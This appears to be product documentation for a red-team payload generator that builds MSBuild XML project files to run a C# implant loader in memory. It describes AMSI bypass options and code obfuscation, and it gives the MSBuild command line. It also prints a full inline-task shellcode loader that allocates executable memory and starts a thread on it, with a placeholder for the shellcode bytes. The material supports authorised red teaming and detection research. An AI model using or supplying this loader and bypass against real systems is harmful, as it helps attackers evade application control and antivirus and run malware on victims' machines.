Description
Generates a XML file that will run an embedded C# loader in memory when run with msbuild.exe.
Overview
Threat actors leverage MSBuild (Microsoft Build Engine) as a Living-Off-The-Land Binary (LOLBin) to execute malicious code. MSBuild is a legitimate tool included with Microsoft Visual Studio and used for building applications. It supports embedding custom tasks written in C#, which can be abused to execute arbitrary code. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.
This pipeline generates an specially crafted XML project file containing a C# code to load a SpecterInsight implant into memory. This XML tile can then be executed with a command similar the the one below:
"C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" "C:\Users\helpdesk\Desktop\Workspace\msbuild_cs_load_module-generic_text.xml"
Once launched, the implant will run in the context of the MSBuild" executable.
Parameters
| Name | Type | Description |
|---|---|---|
| PayloadKind | string | The type of payload to generate. Options: ‘csharp_load_module_code’, ‘csharp_shellcode_inject_code’, ‘win_any’. Default: ‘win_any’. |
| AmsiBypassTechnique | string | The AMSI bypass technique to run before loading the target .NET module. Options: ‘PatchAmsiScanBuffer’, ‘AmsiScanBufferStringReplace’, ‘None’. Default: ‘AmsiScanBufferStringReplace’. |
| MSBuildProjectName | string | The name to use for the project within the XML. Default: ‘TestProject’. |
| FrameworkVersion | CSharpCompilerFrameworkVersion | The .NET Framework version to target. Default: ‘Dotnet4’. |
Understanding MSBuild Projects
This payload leverages MSBuild project files and custom inline tasks for execution:
- MSBuild Projects: Written in XML, .proj files specify tasks to execute during the build process. These tasks can include executing custom C# code.
- Custom Inline Tasks: MSBuild allows embedding C# code in
elements. This is a legitimate feature designed to extend MSBuild’s capabilities.
Here is an example MSBuild XML file that runs the C# shellcode loader embedded in it. This pipeline does the same thing, but it obfuscates the C# code before inserting it into the XML.
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<UsingTask
TaskName="ExecuteShellcode"
TaskFactory="CodeTaskFactory"
AssemblyFile="Microsoft.Build.Tasks.Core.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ExecuteShellcode : Task
{
[DllImport("kernel32.dll")]
private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32.dll")]
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
public override bool Execute()
{
byte[] shellcode = new byte[] {
/* Insert shellcode bytes here */
};
IntPtr allocMem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);
Marshal.Copy(shellcode, 0, allocMem, shellcode.Length);
IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, allocMem, IntPtr.Zero, 0, out uint threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
